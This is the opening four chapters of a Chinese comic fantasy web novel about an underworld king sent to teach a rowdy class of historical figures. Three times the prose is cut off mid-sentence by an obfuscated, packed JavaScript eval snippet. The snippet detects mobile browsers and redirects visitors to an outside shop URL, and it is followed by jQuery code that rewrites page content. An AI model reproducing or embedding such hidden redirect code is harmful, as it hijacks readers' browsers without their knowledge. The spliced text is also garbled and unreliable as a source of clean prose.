《地府空荡荡,阎王在教书》 1. 地府一中 _天官赐福_ 水 _ _ _ _地 官 _ _ _ _官 解 _ _ _ _赦 厄 _ _ _ _罪 逢 _ _ _ _出 凶 _ _ _ _生 化 _ _ _ _入 吉 _ _ _ _死 那是一座坟堆。 不知是谁的,或许是无名氏。 布满潮湿滑腻的苔藓,在雾霾的衬托下,斑驳、沧桑、悲凉。 一对腥红瓦当纸洒金对联,格格不入的贴在破败的坟头上,迎着浑浊的夜风,嘶啦——嘶啦—— “出生入死”四个行书大字,张牙舞爪的随风狂舞。 下一秒,白皙的手掌伸过来,骨节柔软,指背轻轻一蹭,对联严丝合缝的粘回坟头。 坟堆前,一个身着黑色对襟长衫的年轻人,安静的站着。分明没有下雨,分明没有日光,奇怪的是—— 年轻人持着一把黑色的晴雨伞,遮蔽了他过于白皙,甚至惨白的面颊、鲜红的唇瓣、静如死水的眼眸。 叩叩—— 年轻人屈指敲了敲坟头,好像在敲自家的家门。 “编号D10086.44地府中央总厅工作系统,为您服务~” “请验证您的身份信息!” 甜美的机械女声不知从哪里冒出来,空洞的回荡在空旷的坟场上空,一圈、两圈、三圈…… 哇——哇——哇—— 惊起无数乌鸦,振翅高飞,盘旋于雾霾的黑夜,组成一团黑色的漩涡,久久不散…… 年轻人再次伸出柔软的手掌,整个掌心覆盖在坟头的墓碑上。 “正在进行身份识别,请稍后……” “身份信息已确认。” 布满苔藓的坟头镀上高科技流光感湛蓝色光芒,唰—— 无字石碑漂浮出一排排蓝光字体: 姓名:薛长仪 性别:男 年龄:30,000,000… 职位:第十殿阎王(中央地府总厅,部长级) 权限级别:终极 “欢迎上班,阎王大人。” 轰隆——石碑轰然裂开,一座铁锁大门取而代之。 匾额正面上书——入死 匾额背面上书——出生 薛长仪举着黑色的晴雨伞,抬腿,迈过高高的铁门槛儿。 唰—— 幽暗的光芒再现,将年轻人,与反常的一切全部吞噬。 夜风吹过,光芒散尽,一切如初,只剩下猩红的对联,仍旧在雾霾的夜空中癫狂飞舞…… “啊啊啊啊!!” “我不想死!放我回去——” “你们一定搞错了!我那么健康,怎么会死呢!我还得回去加班,我的PPT还没做完!!” 出生入死铁网门之后,惨叫、哭号、求饶,都是最常见的声音。薛长仪见怪不怪,仍旧持着漆黑的晴雨伞,微微抿着血红的唇角,步履平稳的穿梭在繁复的人群中。 牛头马面,黄蜂鸟嘴,身着地府统一的工作制服,黑衣黑裤黑色长靴,黑色防弹背心,腰配枪械。地府中央总厅特意为鬼差们定制了一批工作服,用阳间的话来说,就是——制服诱惑。 鬼差一手托着高科技工作平板,一手拽着幽蓝铁索,押解着哭叫的小鬼,自动排开一条道路,请薛长仪通过。 “阎王大人!” 薛长仪微微点头,毫不停留,通过铁网门,踏上通往地府中央总厅的苦竹浮生奈何桥。 “阎王大人还是如此得少言寡语。” “人狠话不多,干活还利索,跟着这样的上司,你就请好儿吧!” “不过我听说……阎王大人好像要退休了?” 奈何桥横跨在浮生六道之上,水流湍急,漩涡险恶,整条绳索桥好似用藤条编织,稍微一动摇摇欲坠。 白色剔透,不染一丝尘埃的死亡之花水晶兰,滋生在奈何桥的两畔,狂野生长,雪片子一样,成为了地府中央总厅唯一的“色彩”。 “盒——盒——盒——”孟婆佝偻着苍老的躯干,嗓子里发出老树皮一般的笑声。 咚!咚!咚!沙漏型的枯木拐杖重重的敲击在桥板上,那是夺命的倒计时。 “阎王大人,”孟婆笑弯了一双浑浊的眼目,频频点头:“恭喜退休,您老人家……终究是等到这一天了。” 薛长仪面无表情的惨白脸面,终于展露出一丝微弱的笑意。 他好像不喜欢说话,对孟婆点头示意。 “盒——盒——盒——”孟婆又笑起来,苍老的眼睛突然睁大,褶皱的眼皮撑得浑圆:“可惜……有客人来了。” “老大!老大!不好了——”黑色制服的鬼差从远处疾步跑来。 和之前的牛头马面不一样,他托着一条长长的尾巴,好像猫尾巴,生着棕黑色的斑点,下意识的摇摆着。 豹尾慌张冲到面前,左右看了一眼,谨慎的低声说:“老大,大事不好!督察司来人了……” 薛长仪止水一般的眼眸微动:“督查司?” 豹尾使劲点头:“一早就来了,在老大的办公室里等着呢,是那个……姓乌的。” 薛长仪的脸上看不出表情,持着晴雨伞,越过奈何桥,黑暗拉着他长长的身影,进入了地府中央总厅的大厦。 “盒——盒——盒——”孟婆望着薛长仪高挑的背影,幽幽的感叹:“这鬼也讨厌的天气,污染越来越高了……” 嘀—— “身份验证成功!” 电梯响起甜美的机械化女声:“电梯,下行。通往——十八层地狱,第十殿。” 叮咚咚咚~ “B18层,第十殿,到了。开门请当心,注意脚下~” 薛长仪踏出电梯,手掌搭在一面空墙之上,唰—— 墙面裂开,隐藏着一道自动铁门,秘书室鱼鳃站起身来,四十五度鞠躬行礼,一板一眼:“阎王大人,督察司乌部长在里面。” 豹尾攥拳,手臂纠结的肌肉隆起,狠狠的说:“老大,我跟你进去!督查司如果敢找茬儿,我就——哎呦!” 豹尾的狠话变成了一串委屈的大叫:“小鱼!你怎么打我?” 鱼鳃翻了一记冷酷的死鱼眼:“督查司负责监察冥府十殿,专查阎王作奸犯科,贪污受贿之举,向来与咱们十殿不和。” “尤其是这督察司使,难道你忘了,是他亲手查了二殿主……”鱼鳃下意识瞥了一眼薛长义。 十殿阎王们虽没有血缘关系,但千年如一日,在这大地狱中审判教化,早已亲如手足。 十年之前,二殿阎王被查,便是被督察司使亲手打下欲忘台…… 鱼鳃艰涩的说:“如果不配合监察,你是想给督查司一个顺理成章发难的借口吗?阎王大人就差这一天退休,你不要瞎捣乱。” 豹尾揉了揉脑后勺:“那……怎么办?” 薛长仪终于开口了:“无妨。” 唰! 薛长仪手腕一抖,黑色的晴雨伞收拢、缩小,化成一根黑色的钢笔,薛长仪伸出惨白的左手,钢笔又化作绕指柔,“啪!!”锁在他的腕间,变成了一只黑色的古朴手镯。 踏入办公室,大门自动关闭,将豹尾与鱼鳃隔绝在外面。 黑色的地板,黑色的地毯,黑色的沙发,黑色的办公桌。 幽蓝色的灯光,映照着办公桌上——第十殿阎王·薛长仪的名牌。 一个黑色西装的男人,坐在办公桌后的办公椅上,背对着薛长仪。 吱呀—— 办公椅轻轻转动,蓝火跳跃,影影绰绰,终于揭露了对方的庐山真面目。 与鬼差差不多的制服配置,防弹背心换成了更加考究的西服马甲。黑色的马甲,白色的衬衫,黑白分明泾渭清晰,仿佛阎王十殿与督查司的关系。 男人的长发松散的系在脑后,像童话故事里走出来的王子,优雅、英俊,却冷酷。 薛长仪:“督察司使,好久不见。不,恭喜立功,现在该称呼乌部长一句司长大人了。” 督察司隶属于地府中央总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257683|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅,与十殿阎王平齐,负责监察十殿,司长乃是统领司使的长官,同样是部长级别。 “好久不见。”男人开口了。 啪。 也不废话,将一只牛皮纸袋放在办公桌上,有力的手掌轻轻往前一送。 乌部长说:“这是中央总厅派发下来的红头文件,完成了这件事,你就可以退休了。” 薛长仪微微皱眉:“什么事情,需要我亲自出马?杀人?” 乌部长摇头。 薛长仪挑眉:“嗜鬼?” 乌部长还是摇头。 薛长仪恢复了平静:“伐神?” 乌部长这次没有摇头,直接拆开牛皮纸袋,轻轻敲了敲纸张:“都不是。中央总厅投资建设了一所学校。” “学校……?”薛长仪难得有些惊讶,平静的眼眸微微睁开。 他虽是第十殿阎王,年岁不可考,但姿容犹如年轻人,甚至透露出一股介于少年与青年之间的青涩感,这样生动的表情,比老气沉沉的冷静,更加适合他清秀漂亮的脸蛋。 这所学校建立在欲忘台以南,奈何桥以东,孽镜台以西,铁网门以北。 地府第一附属中学。 简称:地府一中。 又名:稷下学宫。 地府一中已经成立了一个学期,和普通的人间中学一样,九月开学,春节放假。 学校一共分为九个班级,一到七班为普通班,八班九班为实验班。 经过地府中央总厅选拔的学生,可以进入地府一中学习,入学考试80分以下的学生,被分到1-7班学习,而80分以上的尖子生,则被分入重点培养的实验班学习。 九月开学以来,传说中的尖子班,第九班,已经气走了7位数学老师,吓哭了8位语文老师,外加赶走了11位班主任。 乌部长惜字如金:“总厅派你去支教,代班。” 薛长仪:“……” 薛长仪会焚火烫肝、会扒皮抽筋、会勾魂拔舌,他杀过人,砍过头,断过狱,唯独……没带过孩子,没当过老师! 让一个司掌十八层地狱的阎王教书,这像话吗? 乌部长站起身,顺手扣上西装外套的扣子:“支教之后,你就可以退休了。” 薛长仪刚要开口,对上乌部长一双深沉,幽暗不见底的眼眸。 乌部长在他的肩膀上轻轻拍了两下,张了张口,却没有出声,只是做了一个口型。 ——小心。 * 上午9:30,巳时二刻。 正是上午第二节课的时间。 “稷下学宫”坐落于欲忘台以南,奈何桥以东,孽镜台以西,铁网门以北。学宫之雍容,三进三出,由36座建筑群落组成,占地6万平方米,约等于一个恭王府的大小。 黑色桃木匾额,经受初春第一缕惊雷洗礼、锻造而成,上书——地府第一附属中学。 学宫以辟雍堂为中轴线,东为教学校舍,西为操场、游泳馆等设施,由北进南分别为学子宿舍与教师宿舍。 穿过宏伟的校门,挂着“泮宫”二字的高阁楼宇,便是校舍讲堂。 教学楼四层,最尽头的教室——实验9班。 嗖—— 纸飞机从窗口窜出来,粉笔头满天飞,黑板上画着鬼脸,课桌横七竖八。 震耳欲聋的吵闹声,此起彼伏。 “刘邦怎么还在这里!我项羽绝不和伪君子同窗!” “听说了吗?学宫又要派来一个新的班——那称谓唤作什么来着?。” “班主任!” “狗屁班主任,想教你爷爷杨广习学,除非是阎罗王来了。” “咦?快看,没见过的生面孔,是插班生吗?” 薛长仪推开教室门,站在第九班门口,第九班所有人的目光,迅速聚拢而来。 “长得好可爱!” “比我们村儿的妲己还漂亮!” “皮肤好细腻啊!不会是用了素颜霜吧?我猜一定是人间的化妆品,芦丹氏00色号!” 薛长仪:“呵……”传说中的尖子班。 2. 新来的薛老师 地府第一附属中学。 薛长仪白皙的手掌,举着一把纯黑色的晴雨伞,站在漆黑桃木匾额之下,仰望着宏伟的学宫校门。 身后跟着一同前来地府一中支教的豹尾、鱼鳃。 “给你们讲个笑话。”薛长仪淡淡开口,是与漂亮精致的脸蛋儿,完全格格不入的老成。 “——阎王教书。” “哈哈哈哈!!!”豹尾爆发出澎湃浑厚的笑声。 “老大!哈哈哈——真的……真的好好笑!” 鱼鳃:“……” 吱呀—— 校门口传达室的大门被推开,保安大爷从里面走出来。 “哎!学生!你迟到了吧?别看了,说的就是你!” 保安大爷指着薛长仪,噼里啪啦的输出:“学校有规定,迟到的学生要登记才能进校门,迟到三次还要记过!” 豹尾挤过来:“老先生,您误会了,我们不是学生,是支教的老师。” “老师?”保安大爷的嗓音提高了三个八度:“哎呦——” 他仔细打量着黑伞之下的薛长仪:“老师……给第九班代课的吧?哎呦、哎呦,长得这么好看,可是要挨欺负的,上一个凶神恶煞的,都被他们欺负哭了!那帮子学生,不是省油的灯!” 保安大爷叨念着,从传达室拿出三个盒子,推到三个人面前:“喏,咱学校有规定,凡是进入学宫,必须戴上这个,你们也懂得……避免乱套。” 豹尾好奇的打开盒子,咔嚓—— 呲啦呲啦! 盒子里闪烁着电流的光芒,形似半只手铐,又好似电子镣铐。 这东西豹尾认识,在他们阴曹地府,十八层地狱,是专门给重刑犯佩戴的,目的是克制灵能,防止囚犯暴动。 “你……”豹尾瞪眼:“你这老儿!可知道我老大是谁?竟让他戴这种侮辱人的东西!” 薛长仪抬起手掌,他的手掌不止白皙,看起来还瘦弱,充斥着一股文质彬彬的错觉。 豹尾立刻噤了声,恭敬的看着他。 薛长仪淡淡的说:“无妨。” 鱼鳃走过去,从盒子中取出电枷,单膝跪地,为薛长仪将电枷扣在左脚的脚腕之上,黑色的对襟长衫放下,瞬间遮盖住电流的光芒。 豹尾愤愤不平的也戴上同款电枷,嘟囔着:“什么破学校,怎么这么古怪呢。” 鱼鳃低声说:“少说两句。” * “转校生?” “是插班生吗?长得真好看!” “你们快看,好像瓷娃娃似的!” “哪个朝代来的?是做过丞相,还是当过皇帝?” “被抄过家吗?亡过国吗?” “以后咱们就是同窗了,介不介意问一句,你有女朋友吗?有男朋友吗?” 第九班沸腾起来,叽叽喳喳的包围着薛长仪。 “安静!安静!都静一静——” 稷下学宫的祭酒,也就是地府一中的校长挤进教室。 “各位同学们,这不是转校生,也不是插班生,我来隆重的介绍一下——这位将是你们的代课班主任!” “咦——” 教室充斥着遗憾的嘘声。 “班主任?” “这么好看的班主任,祭酒,你是给我们找了一个吉祥物不成?” “之前的雷公电母,夜叉都镇不住我们,祭酒这是改变策略了?” “一定是想美死我们!不然怎么找了一个小白脸?” “老师,你怎么举着伞,是怕晒黑吗?哈哈哈……” “哼!”一个身材挺拔的年轻人站起来,“嘭!!”将一只长戟插在地上。 咔嚓—— 教室地砖碎裂,和豆腐渣无异。 祭酒脸红脖子粗,大喊:“吕布!你给我坐下!怎么又带着管制刀具上课!没收!” 年轻人根本不搭理祭酒,挑唇邪佞冷笑:“想做我们的讲师,先问问我吕奉先手中的方天画戟答不答允!” 呼——!! 年轻人手腕一转,一带,根本不见得多用力,长戟夹杂着风声,直冲薛长仪面门。 “老大!” 豹尾眼眸一眯,动作迅捷如猎豹,一把纳住飞掷而来的方天画戟。 年轻人冷笑连连:“还需要旁人保护,无能!” “你……”豹尾愤怒。 薛长仪嗓音淡漠的说:“退下。” 豹尾虽有不甘心,但还是听话的乖乖退下。 薛长仪侧目瞥斜了一眼那把方天画戟,“啪!”一声轻响,黑色的晴雨伞收拢,但没有变成手镯,也没有变成钢笔。 纤细的手腕轻轻一震,雨伞绕着手腕快速旋转了两圈,啪—— 伞尖打在长戟之上,金鸣震耳欲聋,长戟离弦之箭一般朝着年轻人冲去。 “呵!”年轻人不屑的轻笑,抬手便纳。 “嗬——”轻笑变成了抽气声,巨大的力道冲面而来,似海啸,年轻人被迫后退五六步抵消这股力气。 嘭——!! 后背撞在课桌之上,桌椅翻倒,《语文》《数学》《数术》等课本扑簌簌散落满地,年轻人终于勉强握住长戟。 第九班全体学生瞠目结舌:“……” 年轻人狼狈的爬起来,指着薛长仪的鼻尖:“你耍诈!算什么英雄豪杰?但凡是进入学宫的学子与讲师,都要戴上电枷!你根本就没有戴电枷,否则怎么可能打得过我?” 薛长仪没有任何解释,动作优雅的撩起自己的黑色长衫,露出佩戴着电枷的脚腕。 “你……你……”年轻人目瞪口呆:“你戴了电枷,怎么还能……” “谁告诉你……”薛长仪开口了:“戴了电枷,便没有灵能?电枷只能锁住一定范围的灵能。” 年轻人的表情严肃起来,沙哑的问:“你到底是什么人?” 薛长仪重新打起黑色的晴雨伞,扫视了一眼在场众人:“我是你们的代课班主任,姓薛,你们叫我薛老师便好。” “吕布,你可不行啊。”一旁吊儿郎当的贵气学子笑起来。 年轻人不高兴:“杨广,那么多废话,你行你上!” “我上就我上,对待如此美妙佳人,怎能只知打打杀杀,如此粗鲁不堪。” 一道声音横插过来,幽幽的,嗓音不大:“适可而止。” 第九班的学子齐刷刷看过去,瞬息没了声音,那开口之人坐在角落,似乎有一种别样的威严。 “哥哥哥哥!”小少年摇着那人,奶声奶气的道:“哥哥这道题怎么算,蟜儿不会解——” “哥哥教过你,蟜儿再想想。” “唔——先……先……先画辅助线?” 祭酒用宽大的袖袍擦了擦额角滚落下来的冷汗:“薛老师,真是不好意思,您头一天代班……要不然这样吧,今日先让学生们自习,我带你去教工宿舍看一看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257684|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭酒转头,看向那坐在角落的学生,赔笑说:“始皇陛下,劳烦您暂代班长,看着大家自习,别闹出乱子来。” 对方微微颔首。 祭酒眼睛一横,指着其余的学生:“吕布!把你的管制刀具自觉交到祭酒办公室!不然请家长!还有你……杨广你的检讨书呢,三千字一个逗号都不能重复,今日散学之前,必须出现在我的办公桌上,否则也请家长!李白!说你呢,把你的酒壶收一收!别以为拿个农夫山泉的矿泉水瓶装酒,我就闻不出来!” “薛老师,”祭酒一口气数落完,回过头,笑眯眯的后撤半步:“请,咱们先去安顿行李。” 祭酒,也就是地府一中的校长,亲自引导着薛长仪、豹尾与鱼鳃三人,离开泮宫教学楼,从西路进内,穿过三进三出巨大的院落,来到路宫。 路宫分为两部分,北面一部分为学子宿舍,地府一中是住宿学校,所有的学生都会住在这里。 南面则是教工宿舍,所有的老师、职工,包括保安大爷,都会住在教工宿舍楼。 “阎王大人,真是让您见笑了。”祭酒客客气气。 薛长仪举着晴雨伞,慢慢走入路宫,摇头说:“祭酒不必客气,既然我来到学宫支教,便是这里的老师。” “好好,那我以后就喊你小薛!” “小薛啊,你不知道,这第九班,太淘了!无法无天!分明是尖子班,全天下最优秀的人,全都聚集在这里,可偏偏——哎呦,这学期的期末考试,第九班只有始皇陛下一个人过线,其他人全部不、及、格!一个实验班,尖子班,全班不及格,这像话么?我怎么和中央总厅交代啊!” 祭酒愁眉苦脸的说:“其他班马上就要放寒假了,第九班必须留下来补课,参加开学补考,上面儿说了,第九班不能有一个人挂科!” 怪不得祭酒着急寻找代课班主任,上面下达了指标,整个寒假第九班都需要临时补课,为了补考冲刺。 祭酒频频作揖:“阎王大人,小老儿也是没法子了,您可是咱们学宫最后的希望,一定要将这些小祖宗,哦不,老祖宗们,治得服服帖帖,否则……否则我这个祭酒,晚节不保啊,只能卷铺盖走人了!” “哎呦,到了!”从教学楼泮宫,到宿舍路宫,这一路的路程,根本不够祭酒吐槽第九班那些“老祖宗”的。 教工宿舍两个人一间,豹尾与鱼鳃一间,薛长仪就要和其他老师同住一间。 同屋的是一个体育老师,同样是今天新入职,从地府中央总厅调派而来。 用祭酒的话说,小伙子,人长得英俊,热情开朗,特别好相处,绝对是个好室友! 吱呀—— 薛长仪推开444宿舍大门,只有一间屋,两张单人床、两张书桌、两把椅子。 哗啦——哗啦…… 洗手间传来微弱的水流声,磨砂质地的玻璃门,里面蒸腾着朦胧的雾气。 水流声戛然而止,热腾腾的水雾扑面而来,一个身披白色浴袍的年轻男人,从洗手间里走了出来,显然,他刚刚在洗澡。 黑色的发丝坠下晶莹剔透的水珠,顺着男人肌肉流畅的完美胸肌滑下,滚入松散的浴袍衣带之中,划出一道旖旎而湿濡的流线…… 薛长仪看向眼前的男人——新来的体育老师。 英俊√ 热情× 开朗×× 好相处××× 薛长仪淡淡的打招呼:“乌部长。” 3. 特邀转校生 “乌部长。” “薛老师。” 二人短暂的问候了一遍。 薛长仪将黑伞收起来,手腕一转,黑伞化成手镯,扣在白皙的腕间。 “乌部长怎么在这里?” 乌部长很简练的回答:“支教。” 薛长仪挑眉:“体育老师?” 乌部长回答的依旧很简练:“体育老师。” 薛长仪似乎在开玩笑:“堂堂地府中央总厅,督查司司长,竟然来做体育老师,岂不是大材小用?” 乌部长:“堂堂地府中央总厅,十殿阎王,都能来做代课班主任……学宫刚巧缺一个体育老师而已。” 还要从期末考试前一个星期的体育课说起。 体育课上自由活动,第九班的尖子生们组队打篮球,吕布一个扣篮下去,篮球框断了,正好砸到路过的体育老师,小腿骨裂,体育老师光荣退休,回十八层地狱颐养天年去了…… 乌部长说:“中央总厅已经贴出了招聘体育老师的消息,在正式体育老师到岗之前,我也是代课。” 砰砰砰—— “老大!!老大——” 444宿舍门被敲响,门板轰隆隆,豹尾冲进来,面色通红,隐约还夹杂着一丝丝的不好意思。 “老大!”豹尾揪住薛长仪的袖子角,稍微有些羞涩的说:“不好了老大,校长年纪大了,老眼昏花,把我和小鱼分配到一个宿舍了,小鱼她……她……她是女孩子啊!” 薛长仪平静的问:“谁说鱼鳃是女孩子?” “啊?”豹尾发出一个木呆呆的单音。 “连续霸榜八十年,地府最美职场女神,”豹尾还做了一个“八”的手势:“小鱼不是女孩是什么?而且她还喜欢穿裙子!” 薛长仪还是很平静:“那是八十年前的事情。” “啊?”豹尾发出第二个迷茫的单音。 薛长仪揉了揉额角,好心解释:“鱼鳃是水生物,或许出生之时是雌性,但现在已经分化成为了雄性人鱼,地府档案更改性别流程太困难,还有十年才能走完流程批下来。” 豹尾:“……” 豹尾:“所以……小鱼是男孩子……” 豹尾:“……爱穿裙子的男孩子?” 嘭—— 豹尾呆呆的带门离开,甚至没看到与薛长仪同屋“热情开朗、好相处”的体育老师…… * 周五。 辰时。 已经进入寒假,其他班级的学生早早放假,唯独剩下需要补考的第九班,全班留下来补课。 7:45,早自习时间。 “你们说,昨天的代课班主任还会来吗?” “我觉得这个薛老师挺好的,起码长得养眼。” “要我说,什么人,也配教我杨广习学?昨日吕布没能给他好颜色,今日我杨广便教、他、做、人!” “杨广,你可不要吹牛啊!” “走着瞧!” “来了!来了……” 遥遥的,首选看到一把黑色的晴雨伞。 地府一中设立在“异次元”之中,这里隶属于地府中央总厅,纵使模拟日升月落,但日头并不浓烈,加之又是寒冷的冬日,日光稀薄。 无雨,无雪,无光。 代课班主任却举着这样一把黑色的晴雨伞,分外扎眼。 踏、踏、踏…… 薛长仪步履平缓,姿仪优雅,可以称得上文质彬彬,走入第九班教室。 站在讲台之后,薛长仪手腕一转,将伞收起,黑伞化为一只烤漆钢笔,落在薛长仪的掌心之中。 将钢笔放在讲台的最右手,薛长仪打开手提包,又拿出一只长三尺六寸五分,二十一节木鞭,摆在钢笔旁边,目测对齐。 最后拿出一只多彩魔方,放在木鞭旁边,再次目测对齐。 “薛老师,你在做什么呢?” “老师你是不是有强迫症?” “魔方?老师你带个魔方来玩,我们这里可不是幼儿园!” 薛长仪扫视了一眼在场学子,一一介绍:“来为大家介绍一下我的教具:判官笔,打神鞭,千魔眼。” 黑伞乃是薛长仪的本命法器——判官笔,分别善恶,核定等级,生杀予夺。 白色木鞭,曾是姜子牙封神所用,封神之后,打神鞭回归天庭,薛长仪接受红头文件之后,便申请调用打神鞭。 七彩的魔方,则是千魔眼,每一个方块都由无数只魔王的眼睛组成,魔方转动,眼目可窥伺三界每一个角落。 薛长仪漂亮的脸蛋露出一抹并不真切的微笑:“老师听说,人间的学校流行安装监控器,但监控器未免太麻烦,哪里有千魔眼用着方便?以后但凡上课开小差、看闲书、吃零食、交头接耳、考试作弊,千魔眼都会一一记录下来,以备不时请家长之需。” 第九班学子:“……” 薛长仪拿起白色木鞭:“打神鞭,便不必多言了,听说姜子牙老师教你们数学,等得空之时,你们可以多问问姜老师,打神鞭的用途。” 吊儿郎当贵气的学子举手:“薛老师,人间的学校已经不流行体罚了,难道你还要打我杨广手板不成?” 薛长仪眨眼:“可以不打手板。” 吊儿郎当的学子冷笑。 薛长仪:“打屁股,也不是不行。” 吊儿郎当的学子:“……” “至于判官笔。”薛长仪简明扼要的说:“为你们批改作业所用。” “好了,”薛长仪收起教具,翻开一个卡册:“现在开始点名。” “赵氏,嬴姓,成蟜。” “到——”一个奶声奶气的嗓音响起,这是第九班最小的学生,大抵不到十岁的模样,圆滚滚的小脸蛋,冰雕玉琢,穿着一件小棉袄,外面套着地府一中的运动校服,裹得好像一只小白包。 成蟜甜甜的喊人:“薛——老——师——好——” 薛长仪继续点名:“赵氏,嬴姓,政。” 那坐在角落的学生抬起头来,少年人模样,大抵十七八岁,正是昨日里说“适可而止”的学生,别看年纪轻轻,却有一股说不出来的沉着与威严。 嬴政冲薛长仪点点头。 薛长仪:“吕布。” 吕布:“到!” 薛长仪:“李白。” “李白!嘿——嘿!醒醒,叫你呢!” “老师,太白他早自习干了整瓶二锅头,不对,农夫山泉,喝醉了!” 薛长仪:“刘邦。” 刘邦:“到。” 薛长仪:“项羽。” 项羽:“薛老师!我申请让刘邦转班,或者我转班也行,我绝不与刘邦这个险恶的伪君子同窗,我……” 薛长仪重复:“项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257685|151615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽。” 项羽:“……到。” 薛长仪:“杨广。” 杨广抱臂,翘腿,翻白眼:“……没到!” 薛长仪点名完毕,合上卡册:“出勤率还可以,下一步就是提高成绩,完成补考。” “哈哈哈——”杨广笑起来:“薛老师!不是我说,你也别努力了,你前面11个班主任,雷公电母都来了,也不管用。我们都是谁?让我们来上中学,开玩笑也有个限度。” 薛长仪说:“可是你考试不及格。” “那是因为!”杨广据理力争:“朕乃九五之尊,真龙天子,三征高句丽,开凿大运河!不屑习学你那些腌臜知识!” 薛长仪淡淡的重复:“可是你考试不及格。” 杨广:“……” 杨广气得冷笑:“好好,你爱教就教,学一个字儿,我杨广的名字,倒着念!” 班上学生大多旁观,看热闹似的,嘻嘻哈哈笑起来。 薛长仪轻轻拍手:“安静。” “早自习的时间不多了。”薛长仪看了看教室角落的落地钟。 八点上第一节课,早自习还有五分钟结束。 薛长仪转头看向门口:“今日还有一名特邀转校生,会来报道,应该快到了。” “特邀?”杨广挂起吊耳当啷的招牌笑容,“啪!”还把大长腿翘在课桌上。 “薛老师,阳间的电视剧都没你会拍,还特邀转校生,怎么,这个插班生要上天呢?” “这个插班生……”薛长仪仔细思考:“的确有些特殊,是老师特别邀请,向地府中央总厅打了报告,中央总厅特批入学……” 薛长仪平静的表情多了一丝耐人询问:“对于旁人来说,或许并不特殊,但对于杨广同学你来说,非常特别。” “嗤!”杨广不屑,嘘了一声,说:“谁?拉出来叫朕掌掌眼。到底有多特……” 转校生应声走入第九班。 身材高挑,姿容出众,一股儒雅之气,与杨广的吊儿郎当气息不同,端端的正人君子之风。 嘭—— 杨广的大长腿一歪,整个人摔下课桌,结结实实砸了一个大屁墩儿! “嘶!哎呦……” 薛长仪对转校生说:“马上开始第一节课了,时间不多,简短的介绍一下自己吧。” 转校生儒雅一笑,凝视着摔在地上的杨广:“请诸位多多关照,敝人姓杨,杨坚。” 吕布交头接耳:“杨广,你爹?” 项羽拍着他的肩膀:“方便啊,以后都不用请家长了!” 刘邦摇头感叹:“坑爹啊。” 薛长仪微笑:“杨坚同学,你就坐在杨广同学身边,可以吗?” 杨坚彬彬有礼:“当然可以,多谢薛老师照顾。” 薛长仪:“不客气。” 杨广:“……” ——转校生是我爸爸。 ——我和我爸爸是同班同学。 叮咚咚咚~~ 第一节上课铃打响。 薛长仪准备离开教室,临走之时顿住脚步,说:“对了,以后我就是你们的语文代课老师,正好布置一下回家的作业,写一篇作文,下周一早自习交。题目是——《我的爸爸》。” 薛长仪的微笑柔软又善意:“期待你的范文,广、杨同学。” 杨广:“……”??? 4. 《我的爸爸》 《我的爸爸》 吾皇君父,受天明命。 文德武功,英华盛兴。 顾盼闲雅,姿仪长青。 慈爱可亲,威范可敬。 …… 周一。 地府一中早自习时间。 “吕布,作文你写了吗?” “你这作文可有得写了,光是杀干爹就能写上三万字!” “滚蛋!” “其实我更想看一看杨广的作文。” “是啊,广,你的作文写得怎么样?” “拿出来给我们看看呗!” 杨广今日很老实,一改吊儿郎当的模样,地府一中的校服穿戴整齐,扣子一丝不苟,拉锁拉到顶头,不插手,不跷二郎腿,进入第九班教室之后,规规矩矩的坐下来。 ——乖巧坐。 几个学子围过来,嘻嘻哈哈的调侃杨广,杨广咬着后槽牙保持微笑,从唇缝里挤出一个字。 “……滚。” “啊?杨广,你说什么?” “我们没听清,你大点声!” “大点声——” 杨广瞪眼:“朕叫你们……”滚! 踏踏踏…… 清雅而沉着的跫音,阔步入内,特邀转校生杨坚走入教室,目光一扫,落在杨广身上。 展开父爱如山一般的微笑,杨坚温柔的说:“广儿,怎么走得如此匆忙,也不叫为父与你一同来上课。” 同窗小声蛐蛐:“我就说,杨广今日怎么到得如此早。” “早自习从没见过他这般积极!” “还有校服,你们谁见过杨广穿校服?” “也不跷二郎腿了。” “乖得嘞!” 杨广:“……” “同学们,静一静。”薛长仪踏入教室,手腕一转,黑色晴雨伞收起,化成钢笔放置在讲台上,说:“早自习开始了,都回到自己的座位上。” “薛老师!” “是不是今天交作文!” “老师,快让杨广读范文吧!我们都想听听!” 杨广咬牙切齿,回头瞪着这些损人不利己的同窗学子:“都给朕闭嘴,小心朕撕烂你们的嘴巴!” 杨坚蹙眉说:“广儿,出口怎能如此粗鄙?” 杨广条件反射乖巧坐:“……父皇教训的是。” 薛长仪打开手提包,从里面掏出一沓子作文纸。 “老师的确收到了同学们的作文,这次的作文质量参差不齐……” 